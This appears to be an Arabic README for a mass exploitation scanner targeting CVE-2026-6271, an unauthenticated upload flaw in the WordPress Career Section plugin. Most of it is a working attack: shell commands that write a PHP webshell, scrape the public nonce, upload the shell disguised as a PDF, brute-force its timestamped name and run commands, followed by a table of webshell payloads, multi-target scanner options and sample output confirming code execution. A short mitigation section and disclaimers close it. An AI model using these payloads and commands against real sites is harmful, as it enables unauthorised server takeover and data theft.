
ماسح آلي لـ CVE-2026-6271، وهو ثغرة حرجة في رفع الملفات غير الموثقة تؤدي إلى تنفيذ أوامر عن بُعد (RCE) في إضافة WordPress Career Section. يدعم المسح متعدد الخيوط، وأنواع متعددة من الصدف، والتكامل مع البروكسي.
الإضافة: قسم الوظائف (
career-section) معرف CVE: CVE-2026-6271 درجة CVSS: 9.8 (حرجة) متجه CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hنوع الثغرة: رفع ملف غير مصادق عليه → تنفيذ تعليمات برمجية عن بُعد الإصدار المتأثر: <= 1.7 الإصدار المصحح: 1.8 تاريخ النشر: 13 مايو 2026 الباحث: Paolo Tresso — Wordfence
تتيح إضافة Career Section لأصحاب المواقع نشر إعلانات الوظائف وجمع الطلبات. تحتوي كل صفحة إعلان وظيفة على نموذج "Apply Now" يتضمن حقل تحميل ملف السيرة الذاتية (CV).
في الإصدارات 1.7 والإصدارات الأقدم، يقبل معالج التحميل أي نوع ملف — بما في ذلك .php. نظرًا لأن النموذج عام ومضمن رمز CSRF في HTML الصفحة، يمكن استغلال هذه الثغرة بدون الحاجة إلى أي حساب أو صلاحية.
Nonces في WordPress هي رموز CSRF، وليست رموز مصادقة. يتم تضمين قيمة nonce في HTML الصفحة لكل زائر:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
يمكن لأي زائر غير مصادق عليه الحصول على nonce صالح وتجاوز التحقق.
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// لا يوجد فحص للامتداد — يتم قبول أي شيء بما في ذلك .php
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() ينظف الأحرف الخاصة فقط، ولا يمنع الامتدادات الخطيرة.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
لا يحتوي هذا الدليل على ملف .htaccess يمنع تشغيل PHP.
| السبب | الوصف |
|---|---|
| لا حاجة للمصادقة | Nonce مضمن في HTML العام |
| لا قيود على نوع الملف | يتم قبول .php و.php5 و.phtml |
لا حماية .htaccess | يمكن تشغيل PHP في دليل التحميل |
| اسم ملف يمكن توقعه | time()_filename → هجوم القوة العمياء على الطابع الزمني |
⚠️ إخلاء مسؤولية: هذا الإثبات لأغراض تعليمية فقط. اختبر فقط على أنظمتك الخاصة أو التي لديك إذن كتابي صريح لاختبارها.
المتطلبات الأساسية:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
البنية التي سيتم البحث عنها في مصدر الصفحة:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
اسم الملف بتنسيق <timestamp>_shell.php. جرب الطوابع الزمنية حول $TS:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell نشط: $URL"
echo "مخرجات RCE : $RESULT"
break
fi
done
المخرجات المتوقعة:
Webshell نشط: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
مخرجات RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| المعامل | الاختصار | الوصف | الافتراضي |
|---|---|---|---|
--url | -u | رابط الهدف الفردي | — |
--list | -l | ملف قائمة الأهداف | — |
--threads | -t | عدد الخيوط | 10 |
--output | -o | ملف المخرجات | rce_confirmed.txt |
--job-url | — | رابط صفحة الوظيفة مباشرة | — |
--shell-name | — | اسم الملف المراد تحميله | shell.php |
--shell-type | — | نوع الشل | system |
--verify-cmd | — | أمر التحقق من RCE | id |
--ts-window | — | نافذة هجوم القوة العمياء للطابع الزمني (±ثانية) | 5 |
--proxy | — | رابط البروكسي | — |
--timeout | — | مهلة الطلب (ثانية) | 10 |
| النوع | الحمولة | الوصف |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | أمر نظام أساسي |
passthru | <?php passthru($_GET["cmd"]); ?> | إخراج خام |
exec | <?php echo exec($_GET["cmd"]); ?> | تنفيذ صامت |
assert | <?php assert($_POST["cmd"]); ?> | تقييم عبر POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | تشويش Base64 |
full | shell_exec + system + exec fallback | شل كامل |
جذر ووردبريس/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← الشل هنا
الوصول المباشر:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| الحالة | الوصف |
|---|---|
★ RCE OK | تم تحميل الشل + نجاح الأمر |
★ SHELL ALIVE | الشل قابل للوصول، لكنه أعاد استجابة مختلفة |
~ EXEC_DISABLED | الشل موجود لكن exec() معطل على الخادم |
? UPLOADED | تم التحميل لكن لم يتم العثور على الطابع الزمني |
- BLOCKED | تم حظر نوع الملف (إصدار مصحح) |
~ NO_NONCE | لم يتم العثور على csaf_form_nonce |
~ TIMEOUT | انتهت مهلة الاتصال |
~ UNREACH | الهدف غير قابل للوصول |
[*] 3 أهداف | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (المصدر: http://hedef1.com/careers/engineer/)
رابط الشل : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
مخرجات RCE: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (تم حظر نوع الملف)
[~ NO_NONCE ] http://hedef3.com (لم يتم العثور على csaf_form_nonce)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
تم تأكيد RCE → rce_confirmed.txt
──────────────────────────────────────────────────────────────
| الإجراء | التطبيق |
|---|---|
| تحديث الإضافة | الترقية إلى Career Section 1.8 أو أحدث |
| منع تنفيذ PHP | إضافة ملف .htaccess إلى دليل التحميل |
| القائمة البيضاء للامتدادات | قبول pdf وdoc وdocx فقط |
| التحقق من MIME | التحقق من المحتوى الفعلي باستخدام finfo_file() |
| قاعدة WAF | حظر طلبات تحميل .php |
ملف .htaccess لدليل wp-content/uploads/cs_applicant_submission_files/:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # الماسح الرئيسي
├── requirements.txt # التبعيات
└── README.md # هذا الملف
تم إعداد هذه الأداة وإثبات المفهوم للاستخدام فقط على الأنظمة المصرح بها، لأغراض تعليمية، وفي إطار اختبار الاختراق. استخدامها على أنظمة غير مصرح بها يشكل جريمة بموجب المواد 243-245 من قانون العقوبات التركي وقوانين الجرائم الإلكترونية الدولية. لا يتحمل المطور أي مسؤولية قانونية ناتجة عن إساءة استخدام الأداة.
MIT License — لأغراض التعليم والبحث فقط.